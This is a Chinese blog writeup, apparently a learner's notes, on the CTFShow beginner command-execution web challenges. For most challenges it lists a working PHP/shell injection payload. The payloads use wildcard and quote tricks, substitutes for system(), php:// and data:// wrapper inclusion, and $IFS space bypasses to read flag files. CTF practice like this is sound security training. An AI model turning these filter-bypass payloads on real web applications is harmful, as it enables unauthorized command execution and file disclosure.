CTFShow web入门刷题记录-命令执行

CTFShow web入门刷题记录-命令执行

web29

考点:preg_match对于“flag”的字符的过滤

使用f*代替flag完成绕过

*	匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?	匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
payload:?c=system("cat f*");

执行后flag在源代码里

此外网上大佬也给出了另一种解决办法

对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
c=system('ca\t fla\g.php');

flag:flag{ca702203-0b5f-4bb0-ad68-3154d728ab0c}

web30

和上一题相似不过这次吧system也过滤了

可以通过system的替代函数完成

这里通过反引号执行系统命令完成

payload:?c=echo `cat f*`;

初次之外还有一些函数与system的功能相同

passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

flag:flag{3cede271-4a2a-4e94-85b4-025278b306a1}

web31

本题过滤了flag,sytem,php,cat,sort shell,.,空格,’

当cat被过滤后可以使用以下命令替代

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)sed:一种编辑器,这个也可以查看

当空格被过滤后可以使用以下命令替代

%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)
payload:?c=echo`more%09f*`;

flag:flag{5062e094-f2fb-4a1c-8632-fe17f2c98a73}

web32

在前面基础上又过滤了括号

使用include"$_POST[1]"?加上post传递参数利用伪协议实现绕过

paylaod

?c=include"$_POST[1]"?>
1=php://filter/read=convert.base64-encode/resource=flag.php

当然使用GET传参也能得到相同效果

payload

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

传递后得到一串base64编码,解码后得到flag

flag:flag{cc9b544f-8f19-48b6-b867-b9837304f780}

web33

payload与上一题相同但需要去掉“”

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

flag:flag{68551975-46f4-47e7-9fbd-b987050a56d3}

web34

多过滤了:

paylaod与上题相同

flag:flag{ae336974-68a0-406d-a3d0-49489b233f6a}

web35

多过滤了=

GET无法用了,但POST还行继续,payload参考上面题目的

flag:flag{1e01b6f4-bea9-412a-bb5d-6b907c0af54c}

web36

多过滤了0-9的数字

修改POST

paylaod

?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php

flag:flag{1599bb50-452b-4c15-a62c-795f732d82d8}

web37

这里用了PHP文件包含函数include(),利用伪协议读flag

data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

paylaod

?c=data://text/plain,<?php system("cat f*")?>

text/plain的意思是将文件设置为纯文本的形式,浏览器在获取到这种文件时并不会对其进行处理。

官方的hint

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

flag:flag{393b41d8-18d1-444e-a9dd-0c4ab3b549b2}

web38

这里过滤了php|file

采取web37官方hint的方法,把语句转换成base64进行绕过

flag:flag=flag{94932556-2e1a-4023-8060-15d30baea5cc}

web39

hint:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

所以paylaod与37类似,因为参考了羽大佬的博客一些payload是通解

paylaod

?c=data://text/plain,<?php system("cat f*")?>

flag:flag{347c3988-4a4d-4859-a935-324827012281}

web40

hint:GXYCTF的禁止套娃 通过cookie获得参 数进行命令执行

这题过滤了很多,而网上大佬的wp现在还无法理解,只能先暂时抄一下解题过程,以后学多了再回头来做一遍吧

1、使用读文件+数组改造

payload

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
c=readfile(array_rand(array_flip(scandir(current(localeconv())))));(flag在源代码中,需要多刷几次才能访问到flag.php)

所用函数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。

首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
scandir(pos(localeconv()))就能得到flag.php了。

此时再将arry倒序并输出第二个就能得到flag

flag:flag{dc0a331d-32df-4461-b292-6668ee402ca5}

web41

咕咕咕,看不懂羽大佬博客,有空再写

https://blog.csdn.net/miuzzx/article/details/108569080

web42

发现>/dev/null 2>&1命令

查询后得知,执行了这条命令之后,它的作用就是执行某个命令将不会有任何日志输出,所以我查了个寂寞?算了就当学习吧

payload:
?c=ls;
?c= cat flag.php;

flag:flag{d8911efd-fad3-4756-9481-514961a7d54f}

web43

本题过滤了cat,分号

利用与cat功能类似的函数替代,或者使用\进行绕过

more,less,nl,tail
ca

分号使用其他分隔符代替,例如||

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

但这题我试了只能使用||和%0a不知道为什么

payload:?c=nl flag.php||

flag:flag{883ac356-7c4d-4812-adc4-7308589c838d}

web44

多过滤了flag,使用f*进行绕过

payload:?c=nl f*||

flag:flag{9448b553-eda5-42e5-a871-d07ffa676d3c}

web45

多过滤了空格使用%,使用以下绕过空格的方法

cat flag.txt
cat${IFS}flag.txt
cat$IFS/flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
cat%09flag.txt
payload:?c=nl${IFS}$f*||

flag:flag{c712d0f5-0f77-48f4-9c4d-328b63faa167}

web46

过滤如下;|cat|flag| |[0-9]|$|*,无法再使用web45的绕过方式

payload:?c=ca\t%09fla\g.php||

注:使用hackbar传值时%09会被URL二次编码变成%2509手动去掉再次执行即可

flag:flag{b2166445-6311-4ea7-a9e9-2dd13eb93434}

web47

过滤力度越来越大了,过滤如下;|cat|flag| |[0-9]|$|*|more|less|head|sort|tail

看别人的wp又学到一个cat的绕过方式–ca’'t

payload:?c=ca''t<fla\g.php||

flag:flag{cce4f63f-d5f9-43bb-a2b9-5a8093b536e2}

web48

按web47的payload轻松得到flag

flag:flag{7113aeec-78e7-4524-a596-0bc2d1dcb4e5}

web49

按web47的payload轻松得到flag,是不是有点过于轻松了?

flag:flag{86ff932a-6ada-4868-9abc-00a20e1d07d5}

web50

啊这,继续使用web47paylaod

flag:flag{b1e9406b-4f60-4bf7-8165-6ca6b6729580}

web51

继续web47payload,感觉都要用上瘾了

flag:flag{44d7df24-98ff-46b1-ba84-eff53027ae49}

web52

终于在层层过滤下web47payload失效了

过滤如下;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|\x09|\x26|>|<

那就稍微修改以下空格的绕过方式

payload:?c=ca''t${IFS}fla\g.php||

好家伙给了我个flag_here

使用ls -al查看文件,发现一无所获,使用ls -al /查看根目录

?c=ls${IFS}-al||          查看当前目录
?c=ls${IFS}-al${IFS}/||   查看根目录

发现了

paylaod:?c=ca\t${IFS}/fla\g||

flag:flag{bcb6c6af-0783-489d-9c24-192c7439665c}
未完待续……

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值